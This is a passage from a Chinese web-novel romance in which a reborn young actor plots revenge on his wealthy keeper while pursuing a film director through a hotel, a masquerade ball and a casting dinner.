方闻钟的呼吸渐渐平稳,像原一清这样的大少爷,怎么会知道自己皮肤对辣椒水过敏呢,他都没机会接触到,这还是上辈子方闻钟无意间从蓝亦那里发现的。 原一清的过敏很严重,方闻钟加了一瓶辣椒水,要不是不想背上人命,他被怀疑的嫌疑太大,方闻钟都想直接弄死原一清了。 越想原一清这样丑陋痛苦地死去方闻钟越痛快,可他最后笑着加了一瓶辣椒水后,还是将手收回来。 不能那样做,他还有其他办法。 原一清倒在地上,喉咙哑到说不出话来,他身上疼得难受,伸手想叫方闻钟来帮个忙,最后还是只等来了管家。 原一清去治疗的路上,忽然又接到一个公司电话。 就在刚才,夜晚流量最大的时候,他手下公司的一哥,一个一线演员,被爆出嫖|娼。 现在新闻正赤裸裸地在热搜上挂着呢,证据多得和碎芝麻一样,吃瓜都半天吃不完,除了这个男演员,还涉及到公司另一位高层组织。 原一清听完,忍不住暴怒,“尽他妈会找事!” 也是奇怪,平时这种新闻都会先联系公司,要钱还是要别的什么,哪像这次说爆料就爆料,又多又杂,原一清生生先被气晕过去了。 第二天,方闻钟在阳光铺洒中醒来。 只有他一个人,疗养院打来电话,那边很着急地说,方闻钟忽然在昨晚支走了账户上近五十万钱,他父亲那边接下来的费用可能不够了,询问他有什么事,让他再好好考虑一下,顺便赶紧把费用交上。 方闻钟笑着,闲扯,“我也生病了,不治要死,你说我是先救我自己,还是救一个植物人?” 面无表情地挂断电话,五十万,够买一些水军和营销号,让他们把热搜推得更高一点。 原一清接下来应该会处理各种麻烦,至少几天内不会再看到他了。 中午方闻钟准备出门,管家却突然回来了,他看着瘦弱的小男生,阻拦他:“原先生说了,你不能随便出去。” 他的笑容和蔼可亲,可方闻钟永远忘不了他将自己推下楼梯摔断腿,让自己发炎到高烧差点成为一个瘸子,他不过是蓝亦的眼线,一条不会叫的恶狗罢了。 管家看着楼梯之上方闻钟幽深的脸颊和眼神,突然感觉他没那么像小少爷了,他莫名其妙抖了一下,好像突然感觉到有点冷,方闻钟已经收回视线,却没有跟他多争执。 他回去房间。 管家下午就得知,他老来得子的小儿子,在私立学校得罪人,被一群有钱人家小子,群殴了! 打断了几根牙齿,学校老师还打来电话,是他孩子主动惹事。 管家心急火燎地跑出去,哪还管得上限制方闻钟的行踪。 恶人自有恶人磨,对大人适用,对小孩也适用,方闻钟骑上一辆自行车,去君望酒店。 他没多少钱打车。 夕阳落下去,天空剩下最后一片深蓝,他白色的T恤被风吹得鼓起来,方闻钟的忐忑、重生后的焦虑,一点点被抚平,他的头发逐渐肆意,露出整张脸,他的腿快速蹬着脚踏,彷佛不会累。 穿过人行道时,他听到有人捂嘴惊叫,这些入不了他的眼。 他却不知,他惊艳了别人的镜头。 还是十九岁的少年啊。 停在君望酒店楼下,方闻钟没来过这里,森严、奢侈,让人望而却步,要不是他有房卡,轻易还进不来。 方闻钟站在电梯里,听着自己咚咚咚的心跳,楼层越往上,他的面容越严肃。 方闻钟想,他是不是搞错了一个问题。 萧疏昨天给他房卡,明明拆穿了他的拙劣行为,知道他就是勾引,却还顺着他的意图继续推进,说明萧疏当时的确对他有意思。 可是如果今天真如了萧疏的愿,方闻钟咬着嘴巴内侧的软肉,如果那么让萧疏轻易和他上床,得到彼此身体的欢愉,那他和其他过眼云烟的床伴对萧疏有何差别? 他得吊着他,如果萧疏是能被他轻易勾起欲望的男人,那他就不能让萧疏先用下半身思考。 他得一直让他对他有兴趣,先入了脑,再谈鱼水之欢。 方闻钟的脚步声被厚重的地毯吸掉,他叹了一口气,还是太着急了,他急着攀上萧疏,差点一开始就一步错二步再错。 方闻钟转换了一下表情,他拍了拍自己的脸,让自己笑容放松一点,别那么僵硬。 走到门口,他看了眼时间,8:43,他没有开门进去,他要让萧疏心里记挂着他,得不到他。 方闻钟靠墙坐下来,头埋在膝盖里,他乖巧地垂着头,偶尔看一眼紧闭的房门。 萧疏说了,九点以前。 方闻钟等时间慢慢走过九点,走到十二点,再到半夜三四点,他歪着脑袋快睡着了,实际上心理还清醒得很,他赌,萧疏就在里面,他什么时候出来就能看到他。 方闻钟腿有点麻,他自虐般地蜷缩着没动,胳膊上一层鸡皮疙瘩。 酒店里面有监控,萧疏在玄关处看着隔着一门之隔的男生。 方闻钟极其可怜地在外面坐了近八个小时,这八个小时,萧疏就站在里面陪他等。 一开始,萧疏不知道他在等什么,手都放在把手上,萧疏暂停了开门的动作,他忽然明白了方闻钟的意思。 嗤笑了一声,他后退,拉了把椅子坐在那里看着监控外的人。 菸灰弹了一簇,手里拿的剧本看到第十遍。 萧疏忽然起身,监控显示,外面的方闻钟,抬起头盯着他的房门二十多秒没眨眼。 方闻钟心里很失落,还很烦躁,早上七点多了,他得回去了,萧疏是不在里面吗? 还是说,里面已经有一个能代替他的人? 方闻钟心里暴虐四起,表现在脸上让他看起来一点儿不乖,又凶又狠。 他忽然听到了一点动作!方闻钟立马眼睛瞪圆。 萧疏打开房门,方闻钟一下站起来,可他蹲了太久,腿早麻木不听使唤了,这下一点没有演戏成分地整个人向前扑到萧疏身上! 萧疏有力的胳膊迅速扶住他。 方闻钟抓住男人黑色的衬衫袖子,第一时间,抬头进入状态。 “对,对不起,我腿麻了,可以稍等我一下吗?”方闻钟在萧疏搀扶下,很快站直站好,其实他腿还有点不舒服,但在萧疏面前适当示弱就好。 萧疏从上到下打量了他一圈,简简单单的白T恤,牛仔裤,白球鞋。 头发很软地耷拉下来,男生白皙的脸颊一侧,被压出一些红印,彷佛赤裸裸地摆在萧疏面前的一口蛋糕,就让他好好欣赏、回味。 萧疏开口,“怎么不进去?” 他的身形高大嵬然,完美罩住眼前没多少肌肉,白嫩腿长的男生。 他们还有五岁的年龄差。 方闻钟不好意思,却还是直接说:“你说了九点前 ,但我不小心来迟了,我怕我会打扰你。” “所以在这里等了一夜?” “嗯,”方闻钟看着萧疏,他有时候也会被萧疏的脸吸引,他有极具优越的混血特色,但现在方闻钟心里忙着想别的,扫过萧疏的脸,很快将注意力收回来。 他掌握主动权,“Caspian,我有打扰到你吗?” 萧疏对这句试探之言置若罔闻,他抓着方闻钟的腰,一个阔步,就将方闻钟后背抵在墙上。 方闻钟后仰着,心一下提起来。 他咽了口口水,“叫我萧疏,”他听到萧疏说。 “没有打扰,”萧疏抬起拇指,擦过一点方闻钟的眉头,头发撩过男人指尖。 方闻钟意识到有点不受控,萧疏不会现在还想将他关进酒店,正好做昨晚想做的事吧?那他该怎么拒绝? “萧疏,”方闻钟抬头眨了眼睛,频率很高,“我要,我要回去了,家里管得严。” “我可以留个你的联系方式吗?我之后再来找你?”他皱了皱鼻子,貌似很不舍。 真的很喜欢萧疏。 所以昨夜受点苦也没关系。 “别摆出这幅恶心的表情,”萧疏嫌恶地打断方闻钟的伪装,方闻钟一口气没上来,他妈的这不是蓝亦经常做的样子吗? 他学得还不像?怎么就钓不到人呢? 他不动声色地想抬头,表情已经下意识恢复正常了,不装茶了,方闻钟一想,对啊,昨天他还在萧疏面前一副饥渴的样子,现在装什么纯? 而且,蓝亦,是他表弟。 方闻钟心里笑了一下,至少说明,萧疏不喜欢他那个表弟吧。 方闻钟有些进退两难,萧疏很快让他难上加难。 “家里管得严?”他抵着方闻钟嗤嗤笑出声来,许是太好笑,他笑了好久,方闻钟都有点懵。 “你不是原一清的情人吗?怎么,他管得严?管得严还让你彻夜不归,白天偷腥晚上也按捺不住?” 方闻钟再克制,表情还是一瞬间扭曲。 他什么都知道!萧疏知道他在原一清身边的事! 是啊,他多厉害,想必昨天在游轮上和原一清一夥人闹起来,早查清了他们祖宗十八代,他一个小货色,也被萧疏注意到了。 拆穿到这一步,方闻钟喉咙发紧,萧疏抬起他下巴,“这么想给原一清戴绿帽子?还是真的瞧上哥哥了?哥哥是比他有钱,有资本。” 方闻钟瞬间明白了他的资本是什么意思,逼到了这一步,方闻钟退无可退。 他忽然侧头,亲上萧疏的手。 萧疏都被他意料之外的偷袭惊了一下,方闻钟亲上萧疏的中指,他干燥柔软的唇,就贴在那颗小红痣上。 萧疏眼神深邃,已收回了控制方闻钟的力道。 方闻钟亲著,最后伸出牙齿啃咬了一下。 萧疏脆弱的指缝有点痛。 方闻钟松开他,萧疏的手顺势落下去,方闻钟抬头,眼里的水汽、红血丝,这一刻都不似作伪。 “萧疏,”他势在必得,“你比原一清棒多了。” 原一清也成了让萧疏记住他的棋子,方闻钟被萧疏拉住腰往房间拖时,半是惶恐半是妥协。 第106章 偷情 一通电话突然打断了萧疏的行为。 方闻钟回来后,还捂着自己烧红的脸,半天没回过神来。 熬夜让他脑袋不太清醒,但今天早上在酒店门口发生的事太刺激了,方闻钟被迫一遍遍回想,复盘。 幸亏当时那通电话,不然说什么方闻钟也会被萧疏拖进去吃干抹净。 这就是他言行招惹人的下场。 方闻钟又一次意识到萧疏的难办,哪怕他再有打算,萧疏不配合,所以他的计画一开始,就不受他掌控,总是像脱缰的野马,不知道跑到哪个方向。 那个时候,他被拖上床,他都找不到别的藉口。 心里想着要不算了吧,做了就做了,还好那通电话及时叫走萧疏。 方闻钟庆幸的在过去几个小时后,还想起来都会喘口气。 电话内容他听到了几句,因为离得近,但方闻钟发懵,又没听得太清楚,好像有“剧本、导戏”几个词,对面很急切,求着萧疏。 萧疏挂上电话,进去房间拿了西服,他的外套搭在胳膊上,男人背影颀长如松,宽肩窄腰,已留下方闻钟一个人在发呆。 方闻钟翻起身,拿起手机搜索,原一清公司里的那位男演员还在热搜上挂着,“爆”了两天,牵扯出来越来越多瓜,方闻钟作为公司里不起眼的小透明,经纪人还是告诉他们别乱发言。 想必原一清那边还没处理清楚。 关于身体突发情况,医生告诉他是过敏,猜测与水质有关。 原一清没想到方闻钟身上,公司还有一堆事等着他去处理,暗自决定最近不去方闻钟那边了。 疗养院又来催缴费,方闻钟直接划掉消息,因为只留了方闻钟一个人的电话,原一清当时大发慈悲地掏了钱,事后并不想再管,所以他也不知情方闻钟拿着一大部分钱,在网上给他添堵。 还有十几万,方闻钟算得清楚,醒不过来就别救了。 他在搜索栏里打下“Caspian。” 跳出来很多无关的信息,方闻钟突然注意到一个词条,“导演”。 他又去外网搜索,这一下大吃一惊。 萧疏竟然是之前在国际电影节上崭露头角的最佳新锐导演!他的英文名字郝然在列,方闻钟迫不及待一层一层往下挖,想要更了解他。 他从来不知道,萧疏还是一个非常有才华的导演。 那上辈子为什么再没听说过,方闻钟很快猜测,难道他回国,是因为要拍电影,但不知为何最终没拍,所以萧疏也就销声匿迹了?再没人听过他的大名。 方闻钟找了好久,才找到资源,他观看萧疏导的那部电影。 电影出乎意料得简单,是一个假设,地球消失的背景下,人类如何在太空中生存、交流。 方闻钟看得会心一笑,但总会被时不时的深度震撼一下,思考过后令人绝望。 片子看完,他都不敢相信,这是萧疏导演的? 那个男人神秘、不正经,是表象,可因此忽略了他的危险的人,一定会受到打击,方闻钟了解到这一步,对勾引萧疏让他帮忙自己报仇的想法,竟然越来越不可撼动。 合上手机前,方闻钟还在热搜尾巴上看到了一条关于他的新闻。 是一张照片,他昨晚骑车出去的时候,在路上被人拍到了。 纷纷求问他的信息,“小哥哥好帅啊!不苟言笑简直是校草本草!” 方闻钟没多少反应,他知道,很快就能扒出来,他是一个刚入行没什么代表作的演员,公司给他的账号也会被顶出来。 方闻钟没上过大学,高中都没毕业中途辍学,所以他看到夸奖无动于衷。 接下来什么走向他也不放在心里,方闻钟已经不想着红了,不想着工作演戏的事,萧疏的联系方式他没要到,但方闻钟明明记得他的号码。 只是名不正言不顺。 萧疏今天能和他耳鬓厮磨,明天就能擦肩而过,后天,大后天,他就能忘了他。 萧疏的生活太丰富了。 方闻钟有些着急,他必须接下来经常制造机会,偶遇萧疏。 时不时在他面前冒个头,才能叫萧疏不上不下。 方闻钟跟个变态似的猜测调查萧疏接下来可能会出现在哪里…… 方闻钟在厨房喝水,听到外面管家靠近,在打电话,他跟电话那头的人说:“小少爷你放心,大少爷最近没来这边,他很安分。” 说完,忽然抬头碰上出来的方闻钟。 管家一凛,若无其事地结束通话。 又挂上笑容,“你怎么下来了?” 方闻钟端着水杯,冷漠发问:“你儿子怎么样了?” 他怎么哪壶不开提哪壶,管家的笑全收回去,脸上不免愤恨心疼,孩子被打得很过分,他还不能报复回去,只能安慰家里人忍一忍。 不待管家作何反应,方闻钟已经上楼,他晚上还要出去。 他知道管家在给蓝亦报信,那个他最深恶痛绝的仇人,他一定会让他以命偿命的。 方闻钟藉着公司的名义,偷溜进一个假面舞会,他脸上戴着一个敷衍的面具,不过他本来就在圈子里查无姓名,所以大家不认识他也不会多看几眼。 他是跟着公司一位女领导来的,而那位女士,和周导私下里有交集,方闻钟才知道,周导办的这个假面舞会,邀请了很多圈子里的人,也有不怎么脸熟的新人,表面看图一乐,玩玩而已,实际很可能与选角有关。 方闻钟用了一夜的时间,调查给萧疏打那通电话的导演是谁。 听声音辨别,最近有本子要拍,还要有点名气不能太老,思想前卫背景要深,不然不可能知道萧疏的事还能求到他这里。 他是忽然想起上辈子听到过周导的一个采访,他的一部戏上映毁誉参半,问起他对电影的评价满意吗?他自己说,他拍的就是一坨狗屎,但水平也就到那儿了。 还提到,本来他是要给人家当副导的,但求人没求来。 再问是谁,周导摆摆手,所有人都猜测是一位前辈大佬。 方闻钟咬着手指,忽然有种直觉,他说的就是萧疏! 其他都对上了,方闻钟进来时卡得不严,让他蒙混过关,他并不确定萧疏会来这里,但他必须来碰碰运气。 说是假面舞会,但有人比他还敷衍,就差露出整张脸,只遮住眼睛告诉别人我是谁了! 女明星们光鲜亮丽,男明星也孔雀开屏,方闻钟在查找周导旁边的人。 都是资方,或者公司高层等,方闻钟几乎都不认识,他不死心地又转了两圈,连后面人少的花园都找遍了,还是没见到萧疏的身影。 有点失落,舞会开始,方闻钟像一根木头似的思考要不要离开,可他的视线渐渐被人群中央,一个男人摇晃的身影吸引住。 别人都是体面又矜持,只有他,戴着一个小丑面具,遮住整张脸,他还披着一件长袍,就这样也阻挡不了他扭腰摆胯,风姿绰约,成为人群中耀眼的焦点。 手臂举过头顶,半杯摇晃的黄色的酒水,方闻钟看到那极不起眼的手指内侧红痣,一晃而过。 没忍住向前走了一步。 萧疏玩得尽心,挑起周围人兴趣,氛围转瞬间欢快起来。 方闻钟紧皱着眉头,他想立马上前,一侧头,看到侍应生端的酒水,他拿起一杯,就冲着萧疏那个地方疾步走去。 感觉到被人碰了一下,有人将酒水倒在他后背了,萧疏动作一停,一回身,抓住低头说对不起的人。 小丑面具下男人的眼神本来锋利不善,一看到人脸,他笑了一下。 方闻钟听到了萧疏的笑声。 低低的,彷佛只有他一个人知道。 萧疏认出了他。 萧疏本来抓着人领子,放松,拍拍方闻钟肩膀,在觥筹交错中,凑近他耳朵,“阴魂不散呐。” 方闻钟说完对不起,听到这句,“我是跟着公司来的,”表明自己不是故意跟踪他。 谁知萧疏不领情,“那泼我酒,是故意的?” 方闻钟喉咙卡住,不知该说什么,最后只能破罐子破摔,不回应。 萧疏任由方闻钟站在原地,继续跳舞,方闻钟觉得自己才像个小丑,木楞楞站在那里手脚都不知道该怎么摆放。 周围人都不得不转头看他了,方闻钟在下面死死捏住自己的手,萧疏忽然把那半杯酒,一仰而尽。 他脱离人群,准备去换衣服。 方闻钟一喜,赶紧迅速跟上。 他脱掉了长袍,下面还是简单的黑衬衫同色西装裤,衬衫袖子卷起来,露出男人肌肉均匀的手臂。 他们在外面吹着风,方闻钟接过萧疏手里的小丑面具,萧疏转头,笑着看他,“找我的?” “在这里?”他轻佻地动眉头,意思是继续那天在酒店干该干的事? 方闻钟被他调戏得一秒就红了,可萧疏不需要他回答。 他已经一个猛子扎进无人的泳池,幽蓝的池水,男人像一条修长的鱼,摆尾晃动,荡起层层涟漪。 方闻钟眼见他游泳游到第三圈貌似无视自己了,不甘心,终于放下架子,去他妈的所谓的计画。 他也一头扎进水池。 想得到萧疏,先要学会疯狂,在这个男人眼前,没有按部就班。 方闻钟极速地游泳,摆尾,几息间,他就游到萧疏身边,并且沉下水底,仰躺在水下,萧疏正下方,抬起脸看萧疏。 嘴里吐出一串一串泡泡,萧疏看着眼下触手可得的男生。 他的脸洁白如玉,眼睛迷离又倔强地看着他,萧疏触手可得,但方闻钟向上伸出来的手,他没有伸出手触碰。 方闻钟憋气到极限,但展露在萧疏面前的,永远是一副好看完美的样子。 他看到萧疏看他的眼神不再是玩笑,收起取笑,他看到这张鬼斧神工的混血脸,冷酷又漠然,他知道他惹到萧疏了。 这不是明摆着告诉他那天第一次见面在海里他算计萧疏吗。 有些话可以说,但用行为明晃晃地打脸萧疏必然会不开心。 方闻钟知道,萧疏知道他快憋不住了,再这样下去,他一定会呛水。 他用自己的生命极限在赌,他也不知道在赌什么,被萧疏翻出水面,靠在泳池边上,方闻钟都极速地喘气,大脑失神,没反应过来他刚才的动作意欲何为? 挑衅?还是调情? 萧疏就在他对面,方闻钟的面具早在下水前就摘了,但他的白衬衣可比萧疏透多了,现在就是一副欲拒还迎的样子。 萧疏忽然近身,疯狂地亲上方闻钟的嘴唇。 方闻钟一口气还没喘顺,又被堵回去!他下意识想推搡萧疏,可嘴巴上亲吻的力道让他模模糊糊用理智战胜本能,他攀上萧疏的脖子。 这个吻亲得狂野色情,萧疏没怜香惜玉,压迫感彷佛要把方闻钟碾碎、吞噬。 方闻钟感觉整个口腔内都被萧疏扫荡过了,上颌发痒,舌根发麻,他控制不住口水,控制不住整个人在抖,却贴得萧疏越来越近。 从始至终,方闻钟都没有把萧疏推开。 哪怕萧疏抓着他的腰,整个后背硌在泳池边缘,快被弄折了。 终于有休息的余地,方闻钟却听到背后来人,吓得动都不敢动。 是原一清,和他跟来的那个女领导。 他们在说话,原一清还带着公司内一个和方闻钟年龄差不多但比方闻钟出名多了的小生,也是来参加这场名为舞会实为选角的。 他们也看到了泳池内抱在一起的人,尤其原一清认出了萧疏。 他情不自禁上前几步,女上司已经带着那位小生离开了,离开前,还忍不住八卦地回头看一看萧疏,以及他怀里娇弱的情人。 男人实在太帅,但敢在这里就勾搭到一起的,想必被抱着的背对着他们的那个男生,也不是简单货色。 原一清看到萧疏,就忍不住想起那天在游轮萧疏打人给他们下马威的样子,禁不住挑衅。 “萧先生,怎么在这里就急不可耐?”他嘲讽萧疏,“要不我让主人家给你找一间客房,免得污了其他人眼。” 他话说完,萧疏怀里的情人,已经瑟瑟发抖,看起来很紧张,抱紧萧疏一点余光都不露出来。 原一清看不到脸,但想也能猜到,能被萧疏玩弄的,肯定风情万种。 萧疏松开了抓住方闻钟的腰,方闻钟却抱住萧疏的脖子越抱越紧。 他在求饶,他还不能这么快让原一清发现。 真应了那个偷情的样子,方闻钟在亲萧疏的脖子,萧疏笑脸迎人,对原一清一脸宽容温和。 他直视着原一清,忽然哼笑出来,当着原一清的面,咬上方闻钟耳朵。 第107章 桌子下撩拨(加更) 方闻钟抖如糠筛。 原一清已经被气走了,他以为萧疏懒得跟他计较。 一个侍应生毕恭毕敬地替萧疏和方闻钟拿来换洗的衣服,周围已经被清空,没有人再来没眼色地打扰,方闻钟意识到了萧疏在周导这里的地位。 萧疏点燃起一根菸,火星亮起,然后他吐出丝丝缕缕烟雾。 方闻钟眼里水汽弥漫,还有点发红。 头发乖乖地落下来,柔顺可爱,比刚才那副样子天壤之别,他先是撩拨萧疏,后又在原一清的视线下和萧疏亲吻。 想想真他妈刺激,方闻钟看到萧疏吸菸的样子,萧疏没有赶他走,今天这一步,他几乎可以百分之八十的确定,萧疏一定深刻地记住他了。 “盯着我做什么?” 萧疏转头问。 方闻钟:“它,味道很好吗?”他指着萧疏手指间夹的烟,萧疏动了下手,菸头朝上。 听到方闻钟的发问,他笑了一下,“尝尝?” 方闻钟咬上萧疏吃过的烟嘴,猛吸了一口,然后不出意外被呛到了。 萧疏没制止,方闻钟也没罢手,又慢慢学着萧疏的动作,动动脑筋,一会儿,总算有点萧疏的样子。 那根菸只剩下一半。 萧疏从他手里拿过来,掐灭菸头,扔了。 “不会就别强求。” “我能学,我学得也挺好的,”方闻钟目视前方说。 萧疏忽然开了一个又让方闻钟为难的话题,“不是说跟公司来的?可我看你们公司里推荐的人另有其人。” “当着自己大老板的面,当着金主的面,和我那样?方闻钟,”萧疏点头,意味不明,“你可以。” 方闻钟先是被拆穿紧张,他简直和萧疏犯冲,每次一撒谎就立马被拆穿。 又听到最后三个字落下,他也莫名其妙地笑了。 不可以怎么勾引到你。 “我说了我喜欢你啊。” “喜欢什么?”萧疏不知信没信,问得倒挺随意的。 “我看过你拍的电影,我还知道你回国就是有下一步拍戏的打算,所以第一次见我就认出你了。”方闻钟嘴里没一句实话,他也在赌。 果然这符合真相,萧疏意外,“看过?倒是惊喜。” 知道他拍过电影的人不多,看过的更是寥寥无几。 “那你呢?找我是想和我一夜情,还是想演戏?打听到我这里来了?” 方闻钟迅速反应,演戏,演萧疏导的电影?那样他们就有很多相处时间!“都有,也都不算。” 方闻钟面对萧疏,又勇又直白,“不止想一夜情,”他又说了一遍,“我喜欢你啊。” 被明目张胆的告白怔住的萧疏,等来了后一句。 “能演你拍的戏,是我的荣幸,但我可能够不上格。” 没有抱怨,没有要求,只是诉说事实。 萧疏给了他一个工作上的电话号码,“走了。” 方闻钟没得到任何想要的答案,他却突然松下肩膀,好像大有进展,萧疏已经给他回应了似的。 他捏着拳头在心里大叫一声,yes。 原一清公司里的丑闻风波告一段落,高层被处置,男一线演员连带着牵扯出来的几个同行,纷纷销声匿迹,在圈里要么成了不可说,要么成了被所有人调侃的法制咖。 人员的损失倒是微不足道,但公司下半年两部自制剧,毁于一旦! 因为都有那位演员参演,现在未播前就成了废片,公司直接损失近两亿,原一清最近上火,一边处理烂摊子一边急着带新人,他都快忘了被他藏起来的方闻钟。 一个摆在他面前的邀约,让他眉头一紧,忽然想到了他! 这是一部电影邀请试戏,指名要方闻钟,下面还有一张照片,是前几天在网上方闻钟骑车被拍的那张,看来就是对方通过这个认识方闻钟,觉得还不错。 邀约直接发到了他这里。 要放以前,原一清肯定是直接推掉方闻钟的工作的,但他看到署名,心里的那股火气更盛了些。 想带的人没反应,周导反而找上没一丝名气的方闻钟! 原一清想直接拒绝的回应快发送时,又似无所谓地收回来,他起身,去住所见方闻钟。 原一清来时,方闻钟正在睡午觉,被管家强制叫醒来,他一身起床气。 郁气沉沉地坐在原一清对面,一句话不说,没有搭理原一清。 原一清第一次见到方闻钟对他这个样子,倒是有些好奇,现在倒不像蓝亦了,原一清滑过这个念头,但不可否认,方闻钟有自己的劲儿。 还挺讨原一清喜欢的,所以他没有计较方闻钟异常的态度,将找他的工作拿出来。 “公司为你接了一部电影的试戏邀请,你看看。”他推到方闻钟面前。 方闻钟诧异,太阳打西边出来了?他随意翻开,看到周导,方闻钟眼神一亮,差点在原一清面前露馅。 他控制着激动,这哪是周导找他啊,他就没见过周导,这是萧疏送来的。 方闻钟抬头看原一清,貌似原一清不清楚。 原一清怎么可能那么好心地如方闻钟愿,他喝着管家端上来的咖啡,吹了口气对方闻钟说:“没有天上掉馅饼,公司的一切付出都有代价,方闻钟,你懂得如何回报吗?” 他要过来拉方闻钟的手,本想将人拉过来坐他腿上。 方闻钟刹那间身体紧绷,本能排斥恶心让他一手挥过去。 那杯热咖啡一下泼到原一清腿上。 “方闻钟!”他黑了脸,怒气将至。 他怎么能做到这么脸大如盆!方闻钟心里鄙夷,脸上立马害怕失落,“蓝亦。” “什么?”原一清顿时僵住,他是第一次从方闻钟嘴里听到这个名字,“蓝亦,”方闻钟抬头,像恐惧他的小兔子,“你的朋友,说我像一个人,你是因为他才把我关在这里的吗?” 原一清没有跟方闻钟细问是哪个朋友说漏了嘴,从方闻钟这里听到蓝亦,他心爱之人,他查找替身的目的被拆穿,原一清忽然感觉有点待不下去,“你别听人胡说,你一点都不像他!” 他冷肃着脸,已经打算离开了,刚才对方闻钟升起的兴趣,彷佛一巴掌打在他想背叛蓝亦的脸上。 看到人慌乱地离开,原一清越心虚,方闻钟就越觉得恶心好笑。 做着种马之事的人是他,打着情圣名头的人也是他。 这一堆天造地设的贱货就应该锁死!方闻钟恶狠狠的心里还憋着一股气,倒是没想到,提起蓝亦,在原一清面前这么好用。 目睹这一切的管家,暗戳戳记下事情经过。 又传到蓝亦耳里。 周导组的局上,除了有方闻钟和原一清这样的组合,还有几个公司老板带来的艺人。 周导坐在主位旁边,热络地和每一位演员打招呼,挑剔的视线一一扫过,还不忘恭维那些老板们。 但周导本身也不简单,所以原一清他们哪怕知道今天这个局被人家随意挑选,还是抹开面子听着周导的场面话,再把恭维还回去。 菜肴一一上齐,服务员为每一位客人面前倒上酒,然后离开包厢。 方闻钟能察觉到周导频频看过来的目光,他越发确定,因为那张照片找他的人,不是周导自己。 可是今天萧疏为什么没来? 正这样想着,一位老板已经和周导喝过酒后说吃饭? 周导摆摆手,“不急不急,今天还有一位没过来呢。” 原来他旁边的主位不是特意空出来的,只是它等的主人还没到,周导不说是谁,大家都猜测是位大佬。 局上像原一清这样的老板就有四个,让他们一起等?原一清心里不舒服,已经决定看看究竟是谁这么大排场了。 萧疏在服务员带领下推门而入,方闻钟刹那间看过去。萧疏的目光扫视完全场,气定神闲地坐在主位上,脸上挂着优雅闲适的笑。 萧疏?原一清眼神一暗。 主位上坐着萧疏,周导和原一清分别在他两边,方闻钟又在原一清旁边。 他和萧疏隔着一个位置,萧疏正儿八经来了,方闻钟反而不敢看他,坐在原一清旁边,越坐越如坐针毡。 他听到萧疏在笑,周导在为萧疏介绍在场的人,反过来没怎么介绍萧疏,他们中的很多人,还不配知道萧疏,以及他今天坐在主位的用意。 方闻钟余光看到有小演员给萧疏敬酒,萧疏杯子都没抬起来,他还知道萧疏看了他几次。 萧疏来了之后,周导打量方闻钟的目光更赤裸了。 萧疏本来不接的,周导求了好几次,虽然着急,但没抱多大希望,没想到最后一通电话。 萧疏来见他跟他探讨剧本了。 周导高兴极了,假面舞会后,萧疏又推了一个人,扔给他一张照片,说这个人挺符合角色的。 周导拿起一看,被惊艳了一下,的确挺符合里面的男二,萧疏好不容易答应他,选个合他心意的角色怎么了? 周导查了方闻钟,将邀约发到原一清哪儿,方闻钟是今天来的最没有名气和作品的那个人,周导心里挺没底的,他不希望只找一个外形贴合角色,对演技没要求的。 萧疏和方闻钟认识?有私交?他左右滑过。 人家在他举办舞会的场地搞到一起,周导都不知情,那里别墅的人,说是听周导安排,有多少又是萧疏直接派过去的? 酒桌上半天说不到剧本和选角,几位老板们倒是本性暴露,拉着旗下艺人想攀上萧疏。 虽然不知道萧疏的身份,但能力压周导一头,大家心里纷纷有数。 “嗤。”萧疏冷哼。 骤然安静。 “没意思,你们陪我喝几杯?”他视线扫过四位老板,包括原一清。 周导不帮腔,反而站在萧疏这边看好戏,一时场面冷下来,有点下不来台。 萧疏喝了一口,原一清清楚,今天他们不给萧疏面子,事后这个疯子指不定要做什么,他怎么突然插手周导拍电影的事了?还是说,周导的背景,也与萧疏有关? 原一清率先一杯喝下去。 另三位见状,不得不有样学样。 萧疏再抿一口,抬手,示意四人。 又是一杯。 直到第七杯之后,四人脸上都不大好看,差不多得了,可萧疏手里的那杯酒,还剩一半,他后面就压根没喝,做样子都做得敷衍。 原一清重重将酒杯落下,和方闻钟一样的小演员大气不敢出,看出今天这个局不善了。 主位上的年轻男人,就是有一股混不吝的你不听他话他就弄你的气势,“原一清,”萧疏叫人像叫小辈,明明原一清比他还大上几岁。 “那天在别墅给你面子,今天你觉得你还能轻易出去吗?”萧疏从下往上看他。 原一清心里一紧,他总不会在这里对他来硬的吧? 原一清心里讨厌极了萧疏这幅无法无天的做派,但形势逼人,他怕他,或者说怕他后手报复。 那位招惹萧疏的朋友,本以为被萧疏打过一次就算了,没想到后来家破人亡(来自萧疏的澄清OS:家破和他有关,人亡和他无关啊),原一清嘴上不愿意承认,心里把萧疏的危险性提到最高一级。 最后一杯酒被他愤恨地喝下去,其他人作陪。 萧疏放下酒杯,“算了,”看来是放过原一清了,方闻钟也跟着大家松了一口气。 他不知道他为什么也紧张,虽然整个过程,他看得暗爽。 方闻钟忽然在座位上僵住,过了几秒,他不敢置信地看萧疏。 脸色已经红透了! 每一个人都好好坐着,原一清还在醒酒,而萧疏的大长腿,伸过来皮鞋尖蹭着方闻钟的脚踝。 期初他以为自己的错觉,后来又低头小心看。 长腿的确来自萧疏,他的皮鞋挑起了方闻钟的裤脚,擦在他小腿上。 方闻钟抬头,萧疏正好看着他。 方闻钟不知道别人有没有发现,一股热气轰地涌上他脑袋!他腿不敢动,也不想收回来,旁边的原一清只要稍微在下面动一下,就能发现他们的异样! 皮鞋还往上,蹭到了小腿肚。 方闻钟咬唇低头,他腿那么长吗? 原一清刚要动作,方闻钟吓了一跳,斜对面的萧疏已经慢条斯理收回腿了,方闻钟半个身体还麻木着。 看不出来萧疏和方闻钟有什么关系,周导安心吃饭,心下已经有决定,只要方闻钟的演技别太拉跨,就定了他男二。 小男生看着挺乖的。 周导又看了眼脸颊红红的垂着头的男生,萧疏忽然要离开,周导的注意力收回来,他提前离席,别人还感恩戴德呢。 萧疏走过一步,手不动声色地扶在方闻钟椅背上,其他人都看他时,他手指撩过方闻钟的侧颈。 在他脖子里摸了一把。 第108章 跟踪 方闻钟趁着原一清去卫生间的功夫,赶紧跑出来找萧疏。 萧疏的车尾气飘出来,方闻钟看着已经离开的黑色跑车。 车窗内忽然伸出一只手,是萧疏在摇他的手机,方闻钟立马抱起自己的手机,拨通萧疏的工作电话。 车离他很远,听着忙音,方闻钟还在惊诧自己的反应,萧疏的意思是电话联系吗? 那他其实也不应该这么着急地打过去。 电话接通了…… 方闻钟不知道说什么,“萧疏。”沉默了近一分钟,他叫了他的名字。 “嗯。” 这通电话就这么两个字,短时间内方闻钟没其他要说的,萧疏已经挂了。 方闻钟看着远去的车辆,那个男人离开的身影,忽然脸上笑起来。 